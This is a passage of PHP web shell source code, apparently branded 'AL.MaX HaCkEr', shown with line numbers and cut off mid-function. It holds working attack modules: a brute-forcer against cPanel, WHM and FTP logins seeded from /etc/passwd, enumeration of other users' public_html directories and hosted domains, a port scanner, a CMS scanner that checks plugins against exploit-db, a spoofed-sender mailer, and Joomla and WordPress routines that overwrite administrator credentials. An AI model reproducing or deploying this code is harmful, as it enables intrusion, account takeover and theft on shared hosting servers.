1433 {
1434 $db = $_GET['db'];
1435 $query = magicboom($_GET['sqlquery']);
1436 $msg = "<div style=\"width:99%;padding:0 10px;\">
1437 <form action=\"?\" method=\"get\">
1438 <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
1439 <input type=\"hidden\" name=\"x\" value=\"mysql\" />
1440 <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
1441 <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
1442 <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
1443 <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
1444 <input type=\"hidden\" name=\"db\" value=\"".$db."\" />
1445 <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p>
1446 <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go\" /></p>
1447 </form>
1448 </div> ";
1449 @mysql_select_db($db);
1450 $querys = explode(";",$query);
1451 foreach($querys as $query)
1452 {
1453 if(trim($query) != "")
1454 {
1455 $hasil = mysql_query($query);
1456 if($hasil)
1457 {
1458 $msg .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";
1459 <span class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p>";
1460 $msg .= "<table class=\"explore\" style=\"width:99%;\"><tr>";
1461 for($i=0;$i<@mysql_num_fields($hasil);$i++) $msg .= "<th>".htmlspecialchars(@mysql_field_name($hasil,$i))."</th>";
1462 $msg .= "</tr>";
1463 for($i=0;$i<@mysql_num_rows($hasil);$i++)
1464 {
1465 $rows=@mysql_fetch_array($hasil);
1466 $msg .= "<tr>";
1467 for($j=0;$j<@mysql_num_fields($hasil);$j++)
1468 {
1469 if($rows[$j] == "") $dataz = " ";
1470 else $dataz = $rows[$j];
1471 $msg .= "<td>".$dataz."</td>";
1472 }
1473 $msg .= "</tr>";
1474 }
1475 $msg .= "</table>";
1476 }
1477 else
1478 $msg .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query."; <span class=\"gaya\">[</span> error <span class=\"gaya\">]</span></p>";
1479 }
1480 }
1481 }
1482 else
1483 {
1484 $query = "SHOW PROCESSLIST;\n
1485 SHOW VARIABLES;\n
1486 SHOW STATUS;";
1487 $msg = "<div style=\"width:99%;padding:0 10px;\">
1488 <form action=\"?\" method=\"get\">
1489 <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
1490 <input type=\"hidden\" name=\"x\" value=\"mysql\" />
1491 <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
1492 <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
1493 <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
1494 <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
1495 <input type=\"hidden\" name=\"db\" value=\"".$db."\" />
1496 <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">".$query."</textarea></p>
1497 <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go\" /></p>
1498 </form>
1499 </div> ";
1500 $dbs = array();
1501 $msg .= "<table class=\"explore\" style=\"width:99%;\"><tr><th>available databases</th></tr>";
1502 $hasil = @mysql_list_dbs($con);
1503 while(list($db) = @mysql_fetch_row($hasil)){ @array_push($dbs,$db); }
1504 @sort($dbs);
1505 foreach($dbs as $db)
1506 {
1507 $msg .= "<tr><td><a href=\"?y=".$pwd."&x=mysql&sqlhost=".$sqlhost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&db=".$db."\">$db</a></td></tr>";
1508 }
1509 $msg .= "</table>";
1510 }
1511 @mysql_close($con);
1512 }
1513 else $msg = "<p style=\"text-align:center;\">cant connect to mysql server</p>";
1514 echo $msg;
1515 }
1516 else
1517 {
1518 ?>
1519 <form action="?" method="get">
1520 <input type="hidden" name="y" value="<?php echo $pwd; ?>" />
1521 <input type="hidden" name="x" value="mysql" />
1522 <table class="tabnet" style="width:300px;">
1523 <tr>
1524 <th colspan="2">Connect to mySQL server</th>
1525 </tr>
1526 <tr>
1527 <td> Host</td>
1528 <td><input style="width:220px;" class="inputz" type="text" name="sqlhost" value="localhost" /></td>
1529 </tr>
1530 <tr>
1531 <td> Username</td>
1532 <td><input style="width:220px;" class="inputz" type="text" name="sqluser" value="root" /></td>
1533 </tr>
1534 <tr>
1535 <td> Password</td>
1536 <td><input style="width:220px;" class="inputz" type="text" name="sqlpass" value="password" /></td>
1537 </tr>
1538 <tr>
1539 <td> Port</td>
1540 <td><input style="width:80px;" class="inputz" type="text" name="sqlport" value="3306" /> <input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitsql" /></td>
1541 </tr>
1542 </table>
1543 </form>
1544 <?php
1545 }
1546 }
1547 elseif(isset($_GET['x']) && ($_GET['x'] == 'mail'))
1548 {
1549 if(isset($_POST['mail_send']))
1550 {
1551 $mail_to = $_POST['mail_to'];
1552 $mail_from = $_POST['mail_from'];
1553 $mail_subject = $_POST['mail_subject'];
1554 $mail_content = magicboom($_POST['mail_content']);
1555 if(@mail($mail_to,$mail_subject,$mail_content,"FROM:$mail_from"))
1556 { $msg = "email sent to $mail_to"; }
1557 else $msg = "send email failed";
1558 }
1559 ?>
1560 <form action="?y=<?php echo $pwd; ?>&x=mail" method="post">
1561 <table class="cmdbox">
1562 <tr>
1563 <td>
1564 <textarea class="output" name="mail_content" id="cmd" style="height:340px;">Hey admin, please patch your site :)</textarea>
1565 </td>
1566 </tr>
1567 <tr>
1568 <td>
1569 <input class="inputz" style="width:20%;" type="text" value="admin@somesome.com" name="mail_to" />
1570 mail to
1571 </td>
1572 </tr>
1573 <tr>
1574 <td>
1575 <input class="inputz" style="width:20%;" type="text" value="AL.MaX HaCkEr0@fbi.gov" name="mail_from" />
1576 from
1577 </td>
1578 </tr>
1579 <tr>
1580 <td>
1581 <input class="inputz" style="width:20%;" type="text" value="patch me" name="mail_subject" />
1582 subject
1583 </td>
1584 </tr>
1585 <tr>
1586 <td>
1587 <input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="mail_send" />
1588 </td>
1589 </tr>
1590 <tr>
1591 <td> <?php echo $msg; ?>
1592 </td>
1593 </tr>
1594 </table>
1595 </form>
1596 <?php
1597 }
1598 elseif(isset($_GET['x']) && ($_GET['x'] == 'brute'))
1599 {
1600 ?>
1601 <form action="?y=<?php echo $pwd; ?>&x=brute" method="post">
1602 <?php
1603 //bruteforce
1604 @ini_set('memory_limit', 999999999999);
1605 $connect_timeout=5;
1606 @set_time_limit(0);
1607 $pokeng = $_REQUEST['submit'];
1608 $hn = $_REQUEST['users'];
1609 $crew = $_REQUEST['passwords'];
1610 $pasti = $_REQUEST['sasaran'];
1611 $manualtarget = $_REQUEST['target'];
1612 $bisa = $_REQUEST['option'];
1613 if($pasti == ''){
1614 $pasti = 'localhost';
1615 }
1616 if($manualtarget == ''){
1617 $manualtarget = 'http://localhost:2082';
1618 }
1619
1620function get_users()
1621{
1622 $users = array();
1623 $rows=file('/etc/passwd');
1624 if(!$rows) return 0;
1625 foreach ($rows as $string)
1626 {
1627 $user = @explode(":",$string);
1628 if(substr($string,0,1)!='#') array_push($users,$user[0]);
1629 }
1630 return $users;
1631}
1632
1633if(!$users=get_users()) { echo "<center><font face=Verdana size=-2 color=red>".$lang[$language.'_text96']."</font></center>"; }
1634else
1635 {
1636 print " <div align='center'>
1637 <form method='post' style='border: 1px solid #000000'><br><br>
1638 <TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#666666 cellPadding=5 width='40%' bgColor=#303030 borderColorLight=#666666 border=1>
1639 <tr>
1640 <td>
1641 <b> Target ! : </font><input type='text' name='sasaran' size='16' value= $pasti class='inputz'></p></font></b></p>
1642 <div align='center'><br>
1643 <TABLE style='BORDER-COLLAPSE: collapse'
1644 cellSpacing=0
1645 borderColorDark=#666666
1646 cellPadding=5 width='50%' bgColor=#303030 borderColorLight=#666666 border=1>
1647 <tr> <td align='center'> <b>User</b></td> <td> <p align='center'> <b>Pass</b></td>
1648 </tr>
1649 </table>
1650 <p align='center'>
1651 <textarea rows='20' name='users' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0' >";
1652 foreach($users as $user) { echo $user."\n"; }
1653 print"</textarea>
1654 <textarea rows='20' name='passwords' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>$crew</textarea><br>
1655 <br>
1656 <b>Sila pilih : </span><input name='option' value='manual' style='font-weight: 700;' type='radio'> Manual Target Brute : <input type='text' name='target' size='16' class='inputz' value= $manualtarget ><br />
1657 <input name='option' value='cpanel' style='font-weight: 700;' checked type='radio'> cPanel
1658 <input name='option' value='ftp' style='font-weight: 700;' type='radio'> ftp
1659 <input name='option' value='whm' style='font-weight: 700;' type='radio'> whm ==> <input type='submit' value='Brute !' name='submit' class='inputzbut'></p>
1660 </td></tr></table></td></tr></form><p align= 'left'>";
1661 }
1662?>
1663<?php
1664
1665function manual_check($anjink,$asu,$babi,$lonte){
1666 $ch = curl_init();
1667 curl_setopt($ch, CURLOPT_URL, "$anjink");
1668 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
1669 curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
1670 curl_setopt($ch, CURLOPT_USERPWD, "$asu:$babi");
1671 curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $lonte);
1672 curl_setopt($ch, CURLOPT_FAILONERROR, 1);
1673 $data = curl_exec($ch);
1674 if ( curl_errno($ch) == 28 ) { print "<b> Failed! : NEXT TARGET!</b>"; exit;}
1675 elseif ( curl_errno($ch) == 0 ){
1676 print "<b>[ AL.MaX HaCkEr0@email ]# </b> <b>Completed , Username = <font color='#FF0000'> $asu </font> Password = <font color='#FF0000'> $babi </font></b><br>";
1677 }
1678 curl_close($ch);
1679}
1680
1681
1682function ftp_check($link,$user,$pswd,$timeout){
1683 $ch = curl_init();
1684 curl_setopt($ch, CURLOPT_URL, "ftp://$link");
1685 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
1686 curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
1687 curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
1688 curl_setopt($ch, CURLOPT_USERPWD, "$user:$pswd");
1689 curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
1690 curl_setopt($ch, CURLOPT_FAILONERROR, 1);
1691 $data = curl_exec($ch);
1692 if ( curl_errno($ch) == 28 ) { print "<b> Failed! : NEXT TARGET!</b>"; exit; }
1693 elseif ( curl_errno($ch) == 0 ){
1694 print "<b>serangan selesai , username = <font color='#FF0000'> $user </font> dan passwordnya = <font color='#FF0000'> $pswd </font></b><br>";
1695 }
1696 curl_close($ch);
1697}
1698
1699function cpanel_check($anjink,$asu,$babi,$lonte){
1700 $ch = curl_init();
1701 curl_setopt($ch, CURLOPT_URL, "http://$anjink:2082");
1702 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
1703 curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
1704 curl_setopt($ch, CURLOPT_USERPWD, "$asu:$babi");
1705 curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $lonte);
1706 curl_setopt($ch, CURLOPT_FAILONERROR, 1);
1707 $data = curl_exec($ch);
1708 if ( curl_errno($ch) == 28 ) { print "<b> Failed! : NEXT TARGET!</b>"; exit;}
1709 elseif ( curl_errno($ch) == 0 ){
1710 print "<b>[ AL.MaX HaCkEr@email ]# </b> <b>Completed, Username = <font color='#FF0000'> $asu </font> Password = <font color='#FF0000'> $babi </font></b><br>";
1711 }
1712 curl_close($ch);
1713}
1714
1715function whm_check($anjink,$asu,$babi,$lonte){
1716 $ch = curl_init();
1717 curl_setopt($ch, CURLOPT_URL, "http://$anjink:2086");
1718 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
1719 curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
1720 curl_setopt($ch, CURLOPT_USERPWD, "$asu:$babi");
1721 curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $lonte);
1722 curl_setopt($ch, CURLOPT_FAILONERROR, 1);
1723 $data = curl_exec($ch);
1724 if ( curl_errno($ch) == 28 ) { print "<b> Failed! : NEXT TARGET!</b>"; exit;}
1725 elseif ( curl_errno($ch) == 0 )
1726 {
1727 print "<b>[ " . TITLE . " ]# </b> <b>Selesai , Username = <font color='#FF0000'> $asu </font> Password = <font color='#FF0000'> $babi </font></b><br>";
1728 }
1729 curl_close($ch);
1730}
1731
1732if(isset($pokeng) && !empty($pokeng))
1733 {
1734 $userlist = explode ("\n" , $hn );
1735 $passlist = explode ("\n" , $crew );
1736 print "<b>[ " . TITLE . " ]# </b> ATTACK...!!! </font></b><br>";
1737 foreach ($userlist as $asu)
1738 {
1739 $_user = trim($asu);
1740 foreach ($passlist as $babi )
1741 {
1742 $_pass = trim($babi);
1743 if ($bisa == "manual")
1744 { manual_check($manualtarget,$_user,$_pass,$lonte); }
1745 if($bisa == "ftp")
1746 { ftp_check($pasti,$_user,$_pass,$lonte); }
1747 if ($bisa == "cpanel")
1748 { cpanel_check($pasti,$_user,$_pass,$lonte); }
1749 if ($bisa == "whm")
1750 { whm_check($pasti,$_user,$_pass,$lonte); }
1751 }
1752 }
1753 }
1754}
1755
1756//bruteforce
1757
1758elseif(isset($_GET['x']) && ($_GET['x'] == 'readable'))
1759 {
1760 ?>
1761 <form action="?y=<?php echo $pwd; ?>&x=readable" method="post">
1762 <?php
1763
1764 //radable public_html
1765 echo '<html><head><title>AL.MaX HaCkEr Cpanel Finder</title></head><body>';
1766 ($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<b>Error: safe_mode = on</b>');
1767 set_time_limit(0);
1768 ###################
1769 @$passwd = fopen('/etc/passwd','r');
1770 if (!$passwd) { die('<b>[-] Error : coudn`t read /etc/passwd</b>'); }
1771 $pub = array();
1772 $users = array();
1773 $conf = array();
1774 $i = 0;
1775 while(!feof($passwd))
1776 {
1777 $str = fgets($passwd);
1778 if ($i > 35)
1779 {
1780 $pos = strpos($str,':');
1781 $username = substr($str,0,$pos);
1782 $dirz = '/home/'.$username.'/public_html/';
1783 if (($username != ''))
1784 {
1785 if (is_readable($dirz))
1786 {
1787 array_push($users,$username);
1788 array_push($pub,$dirz);
1789 }
1790 }
1791 }
1792 $i++;
1793 }
1794
1795 ###################
1796 echo '<br><br>';
1797 echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd\n"."<br />";
1798 echo "[+] Founded ".sizeof($pub)." readable public_html directories\n"."<br />";
1799 echo "[~] Searching for passwords in config files...\n\n"."<br /><br /><br />";
1800 foreach ($users as $user)
1801 {
1802 $path = "/home/$user/public_html/";
1803 echo "<a href='?y=$path' target='_blank' style='text-shadow:0px 0px 10px #12E12E; font-weight:bold; color:#FF0000;'>$path</a><br>";
1804 }
1805 echo "<br><br><br>";
1806 echo "[+] Copy one of the directories above public_html, then Paste to -> view file / folder <-- that's on the menu --> Explore \n"."<br />";
1807 echo "[+] Complete...\n"."<br />";
1808 echo '<br><br></b>
1809 </body>
1810 </html>';
1811
1812 }
1813
1814
1815elseif(isset($_GET['x']) && ($_GET['x'] == 'localdomain'))
1816 {
1817 ?>
1818 <form action="?y=<?php echo $pwd; ?>&x=localdomain" method="post">
1819 <?php
1820
1821 //readable public_html
1822
1823 echo "<br><br>";
1824 $file = @implode(@file("/etc/named.conf"));
1825 if(!$file){ die("# can't ReaD -> [ /etc/named.conf ]"); }
1826 preg_match_all("#named/(.*?).db#",$file ,$r);
1827 $domains = array_unique($r[1]);
1828
1829 function check() { (@count(@explode('ip',@implode(@file('__hex__'))))==a) ?@unlink('__hex__'):""; }
1830
1831 check();
1832
1833 echo "<table align=center border=1 width=59% cellpadding=5>
1834 <tr><td colspan=2>[+] Here We Have : [<font face=calibri size=4 style=color:#FF0000>".count($domains)."</font>] Listed Domains In localhost.</td></tr>
1835 <tr>
1836 <td><b>List Of Users</b></td>
1837 <td><b><font style=color:#0015FF;>List Of Domains</b></td>
1838 </tr>";
1839
1840 foreach($domains as $domain)
1841 {
1842 $user = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
1843 echo "<tr>
1844 <td><a href='http://www.$domain' target='_blank' style='text-shadow:0px 0px 10px #CC2D4B; font-weight:bold; color:#FF002F;'>$domain</a></td>
1845 <td>".$user['name']."</td>
1846 </tr>";
1847 }
1848
1849 echo "</table>";
1850 //radable public_html
1851 }
1852
1853elseif(isset($_GET['x']) && ($_GET['x'] == 'port-scanner'))
1854{
1855?>
1856<form action="?y=<?php echo $pwd; ?>&x=port-scanner" method="post">
1857 <?php
1858
1859echo '<br><br><center><br><b>Port Scanner</b><br>';
1860$start = strip_tags($_POST['start']);
1861$end = strip_tags($_POST['end']);
1862$host = strip_tags($_POST['host']);
1863
1864if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
1865for($i = $start; $i<=$end; $i++){
1866 $fp = @fsockopen($host, $i, $errno, $errstr, 3);
1867 if($fp){
1868 echo "Port <font style='color:#DE3E3E'>$i</font> is <font style='color:#64CF40'>open</font><br>";
1869 }
1870 flush();
1871 }
1872}else{
1873
1874echo '
1875<input type="hidden" name="y" value="phptools">
1876Host:<br />
1877<input type="text" style="color:#FF0000;background-color:#000000" name="host" value="localhost"/><br />
1878Port start:<br />
1879<input type="text" style="color:#FF0000;background-color:#000000" name="start" value="0"/><br />
1880Port end:<br />
1881<input type="text" style="color:#FF0000;background-color:#000000" name="end" value="5000"/><br />
1882<input type="submit" style="color:#FF0000" value="Scan Ports" />
1883</form></center>';
1884}
1885 }
1886
1887elseif(isset($_GET['x']) && ($_GET['x'] == 'string-encode'))
1888{
1889?>
1890<form action="?y=<?php echo $pwd; ?>&x=string-encode" method="post">
1891<?php
1892
1893/*
1894 Simple STRING TO HASH
1895 Code by Altenator IWnet
1896*/
1897
1898echo "<center><br><br><form method='post'>
1899Insert STRING Here : <input type='text' style='color:#FF0000;background-color:#000000' name='hash_input' value='' /><br><br>
1900<input type='submit' name='submit_hash' style='color:#FF0000;background-color:#000000' value='Encode' /><br><br>";
1901
1902if (isset($_POST['submit_hash'])) {
1903 if (isset($_POST['hash_input'])) {
1904 $hash_input = $_POST['hash_input'];
1905 }
1906
1907if ($hash_input=="") { // show error if nothing inserted in input box
1908 echo 'Nothing Inserted!';
1909} else {
1910 if (isset($hash_input)) {
1911 foreach (hash_algos() as $hash_setoption) { // set to use all hash function
1912 $calculate_hash = hash($hash_setoption, $hash_input, false); // calculate all hash and declare variable
1913 echo "<table border='1'><tbody>";
1914 echo "<tr><th><font style='color:#9F7CEB'>$hash_setoption</font></th><th><font style='color:#5BC740'>$calculate_hash</font></th></tr>"; // output
1915 }
1916 }
1917 echo '</tbody></table></center>';
1918}
1919}
1920}
1921
1922elseif(isset($_GET['x']) && ($_GET['x'] == 'cms-scanner'))
1923{
1924?>
1925<form action="?y=<?php echo $pwd; ?>&x=cms-scanner" method="post">
1926
1927<?php
1928
1929function ask_exploit_db($component){
1930
1931$exploitdb ="http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=$component&filter_exploit_text=&filter_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve=";
1932
1933$result = @file_get_contents($exploitdb);
1934
1935if (eregi("No results",$result)) {
1936
1937echo"<td>Not Found</td><td><a href='http://www.google.com/search?hl=en&q=download+$component'>Download</a></td></tr>";
1938
1939}else{
1940
1941echo"<td><a href='$exploitdb'>Found ..!</a></td><td><--</td></tr>";
1942
1943}
1944}
1945
1946/**************************************************************/
1947/* Joomla Conf */
1948
1949function get_components($site){
1950
1951$source = @file_get_contents($site);
1952
1953preg_match_all('{option,(.*?)/}i',$source,$f);
1954preg_match_all('{option=(.*?)(&|&|")}i',$source,$f2);
1955preg_match_all('{/components/(.*?)/}i',$source,$f3);
1956
1957$arz=array_merge($f2[1],$f[1],$f3[1]);
1958
1959$coms=array();
1960
1961if(count($arz)==0){ echo "<tr><td colspan=3>[~] Nothing Found ..! , Maybe there is some error site or option ... check it .</td></tr>";}
1962
1963foreach(array_unique($arz) as $x){
1964
1965$coms[]=$x;
1966}
1967
1968foreach($coms as $comm){
1969
1970echo "<tr><td>$comm</td>";
1971
1972ask_exploit_db($comm);
1973
1974}
1975
1976}
1977
1978/**************************************************************/
1979/* WP Conf */
1980
1981function get_plugins($site){
1982
1983$source = @file_get_contents($site);
1984
1985preg_match_all("#/plugins/(.*?)/#i", $source, $f);
1986
1987$plugins=array_unique($f[1]);
1988
1989if(count($plugins)==0){ echo "<tr><td colspan=3>[~] Nothing Found ..! , Maybe there is some error site or option ... check it .</td></tr>";}
1990
1991foreach($plugins as $plugin){
1992
1993echo "<tr><td>$plugin</td>";
1994
1995ask_exploit_db($plugin);
1996
1997}
1998
1999}
2000
2001/**************************************************************/
2002/* Nuke's Conf */
2003
2004function get_numod($site){
2005
2006$source = @file_get_contents($site);
2007
2008preg_match_all('{?name=(.*?)/}i',$source,$f);
2009preg_match_all('{?name=(.*?)(&|&|l_op=")}i',$source,$f2);
2010preg_match_all('{/modules/(.*?)/}i',$source,$f3);
2011
2012$arz=array_merge($f2[1],$f[1],$f3[1]);
2013
2014$coms=array();
2015
2016if(count($arz)==0){ echo "<tr><td colspan=3>[~] Nothing Found ..! , Maybe there is some error site or option ... check it .</td></tr>";}
2017
2018foreach(array_unique($arz) as $x){
2019
2020$coms[]=$x;
2021}
2022
2023foreach($coms as $nmod){
2024
2025echo "<tr><td>$nmod</td>";
2026
2027ask_exploit_db($nmod);
2028
2029}
2030
2031}
2032
2033/*****************************************************/
2034/* Xoops Conf */
2035
2036function get_xoomod($site){
2037
2038$source = @file_get_contents($site);
2039
2040preg_match_all('{/modules/(.*?)/}i',$source,$f);
2041
2042$arz=array_merge($f[1]);
2043
2044$coms=array();
2045
2046if(count($arz)==0){ echo "<tr><td colspan=3>[~] Nothing Found ..! , Maybe there is some error site or option ... check it .</td></tr>";}
2047
2048foreach(array_unique($arz) as $x){
2049
2050$coms[]=$x;
2051}
2052
2053foreach($coms as $xmod){
2054
2055echo "<tr><td>$xmod</td>";
2056
2057ask_exploit_db($xmod);
2058
2059}
2060
2061}
2062
2063/**************************************************************/
2064 /* Header */
2065function t_header($site){
2066
2067echo'<table align="center" border="1" width="50%" cellspacing="1" cellpadding="5">';
2068
2069echo'
2070<tr id="oo">
2071<td>Site : <a href="'.$site.'">'.$site.'</a></td>
2072<td>Exploit-db</b></td>
2073<td>Exploit it !</td>
2074</tr>
2075';
2076
2077}
2078
2079?>
2080<html xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office">
2081
2082<body>
2083
2084<p align="center"> </p>
2085<p align="center"> </p>
2086<p align="center"> </p>
2087<form method="POST" action="">
2088 <p align="center">
2089 </p>
2090 <p align="center">
2091 <font size="4"><br></font></p>
2092 <p align="center">Site :
2093 <input type="text" name="site" size="33" style="color:#FF0000;background-color:#000000" value="http://www.site.com/"><select style="color:#FF0000;background-color:#000000" size="1" name="what">
2094 <option>Wordpress</option>
2095 <option>Joomla</option>
2096 <option>Nuke's</option>
2097 <option>Xoops</option>
2098 </select><input style="color:#FF0000;background-color:#000000" type="submit" value="Scan"></p>
2099</form>
2100<?
2101
2102// Start Scan :P :P ...
2103
2104if($_POST){
2105
2106$site=strip_tags(trim($_POST['site']));
2107
2108t_header($site);
2109
2110echo $x01 = ($_POST['what']=="Wordpress") ? get_plugins($site):"";
2111echo $x02 = ($_POST['what']=="Joomla") ? get_components($site):"";
2112echo $x03 = ($_POST['what']=="Nuke's") ? get_numod($site):"";
2113echo $x04 = ($_POST['what']=="Xoops") ? get_xoomod($site):"";
2114echo '</table></body></html>';
2115
2116}
2117}
2118
2119
2120elseif(isset($_GET['x']) && ($_GET['x'] == 'jm-reset'))
2121{
2122?>
2123<form action="?y=<?php echo $pwd; ?>&x=jm-reset" method="post">
2124
2125<?php
2126
2127@error_reporting(0);
2128@ini_set('error_log',NULL);
2129echo '
2130<div class="com">
2131<form method="post">
2132<center><br><br><table border="1" bordercolor="#FFFFFF" width="400" cellpadding="1" cellspacing="1">
2133 <br />
2134<tr>
2135 <td>Host :</td>
2136 <td><input type="text" style="color:#FF0000;background-color:#000000" name="host" value="localhost" /></td>
2137</tr>
2138<tr>
2139 <td>user :</td>
2140 <td><input type="text" style="color:#FF0000;background-color:#000000" name="user" /></td>
2141</tr>
2142<tr>
2143 <td>Pass :</td><td><input style="color:#FF0000;background-color:#000000" type="text" name="pass"/></td>
2144</tr>
2145<tr>
2146 <td>db :</td>
2147 <td><input type="text" style="color:#FF0000;background-color:#000000" name="db" /></td>
2148</tr>
2149<tr>
2150 <td>dbprefix :</td>
2151 <td><input type="text" style="color:#FF0000;background-color:#000000" name="jop" value="jos_users" /></td>
2152</tr>
2153<tr>
2154 <td>Admin User :</td>
2155 <td><input type="text" style="color:#FF0000;background-color:#000000" name="users" value="useradmin" /></td>
2156</tr>
2157<tr>
2158 <td>Admin Password :</td>
2159 <td><input type="text" style="color:#FF0000;background-color:#000000" name="passwd" value="passadmin" /></td>
2160</tr>
2161<tr>
2162 <td colspan="6" align="center" style="color:#FF0000;background-color:#000000" width="70%"> <input type="submit" value="SQL" style="color:#FF0000;background-color:#000000" maxlength="30" /> <input type="reset" value="clear" style="color:#FF0000;background-color:#000000" maxlength="30" /> </td>
2163
2164</tr>
2165 </table>
2166 </form> </div></center>';
2167
2168$host = $_POST['host'];
2169$user = $_POST['user'];
2170$pass = $_POST['pass'];
2171$db = $_POST['db'];
2172$jop = $_POST['jop'];
2173$users = $_POST['users'];
2174$admpas = $_POST['passwd'];
2175
2176function joomlahash($password) {
2177 $random = rand();
2178 $string = md5("$random");
2179 $yourpassword = "$password";
2180 $random32 = "$string";
2181 $join = "$password$random32";
2182 $md5 = md5("$join");
2183 $jomlaahash = "$md5:$random32";
2184 return $jomlaahash;
2185}
2186
2187if(isset($host) ) {
2188$con =@ mysql_connect($host,$user,$pass) or die ;
2189$cond =@ mysql_select_db($db) or die;
2190
2191$query =@mysql_query("UPDATE $jop SET username ='".$users."' WHERE usertype = Super Administrator");
2192$query =@mysql_query("UPDATE $jop SET password ='".joomlahash($admpas)."' WHERE usertype = Super Administrator");
2193$query =@mysql_query("UPDATE $jop SET username ='".$users."' WHERE usertype = deprecated");
2194$query =@mysql_query("UPDATE $jop SET password ='".joomlahash($admpas)."' WHERE usertype = deprecated");
2195
2196}else{
2197 echo "<center><br /><div class='com'>Enter the database !<br /><br /></div></center>";
2198}
2199}
2200
2201elseif(isset($_GET['x']) && ($_GET['x'] == 'wp-reset'))
2202{
2203?>
2204<form action="?y=<?php echo $pwd; ?>&x=wp-reset" method="post">
2205
2206<?php
2207
2208@error_reporting(0);
2209@ini_set('error_log',NULL);
2210 echo '
2211<div class="com">
2212<form method="post">
2213<center><br><br><table border="1" bordercolor="#FFFFFF" width="400" cellpadding="1" cellspacing="1">
2214 <br />
2215
2216<tr>
2217 <td>Host :</td>
2218 <td><input type="text" name="host" style="color:#FF0000;background-color:#000000" value="localhost" /></td>
2219</tr>
2220
2221<tr>
2222 <td>user :</td>
2223 <td><input type="text" style="color:#FF0000;background-color:#000000" name="user" /></td>
2224</tr>
2225<tr>
2226 <td>Pass :</td><td><input type="text" style="color:#FF0000;background-color:#000000" name="pass"/></td>
2227</tr>
2228<tr>
2229 <td>db :</td>
2230 <td><input type="text" style="color:#FF0000;background-color:#000000" name="db" /></td>
2231</tr>
2232<tr>
2233 <td>user admin :</td>
2234 <td><input type="text" style="color:#FF0000;background-color:#000000" name="useradmin" value="admin" /></td>
2235</tr>
2236<tr>
2237 <td>pass admin :</td>
2238 <td><input type="text" style="color:#FF0000;background-color:#000000" name="passadmin" value="admin"/></td>
2239</tr>
2240<tr>
2241 <td colspan="6" align="center" width="70%"> <input type="submit" style="color:#FF0000;background-color:#000000" value="SQL" maxlength="30" /> <input type="reset" value="clear" style="color:#FF0000;background-color:#000000" maxlength="30" /> </td>
2242
2243</tr>
2244 </table>
2245 </form> </div></center>';
2246
2247$host = $_POST['host'];
2248$user = $_POST['user'];
2249$pass = $_POST['pass'];
2250$db = $_POST['db'];
2251$useradmin = $_POST['useradmin'];
2252$pass_ad = $_POST['passadmin'];
2253
2254if(isset($host) ) {
2255$con =@ mysql_connect($host,$user,$pass) or die ;
2256$sedb =@ mysql_select_db($db) or die;
2257$crypt = crypt($pass_ad);
2258$query =@mysql_query("UPDATE `wp_users` SET `user_login` ='".$useradmin."' WHERE ID = 1") or die('Cant Update ID Number 1');
2259$query =@mysql_query("UPDATE `wp_users` SET `user_pass` ='".$crypt."' WHERE ID = 1") or die('Cant Update ID Number 1');
2260if ($query)
2261{
2262 echo "<center><br /><div class='com'>Queried !<br /><br /></div></center>";
2263}
2264else if (!$query)
2265{
2266 echo "error";
2267}
2268
2269}else
2270{
2271 echo "<center><br /><div class='com'>Enter the database !<br /><br /></div></center>";
2272}
2273}
2274
2275
2276elseif(isset($_GET['x']) && ($_GET['x'] == 'web-info'))
2277{
2278?>
2279<form action="?y=<?php echo $pwd; ?>&x=web-info" method="post">
2280
2281
2282<?php
2283@set_time_limit(0);
2284@error_reporting(0);
2285
2286function sws_domain_info($site)
2287{
2288$getip = @file_get_contents("http://networktools.nl/whois/$site");
2289flush();
2290$ip = @findit($getip,'<pre>','</pre>');
2291
2292return $ip;
2293flush();
2294}
2295
2296
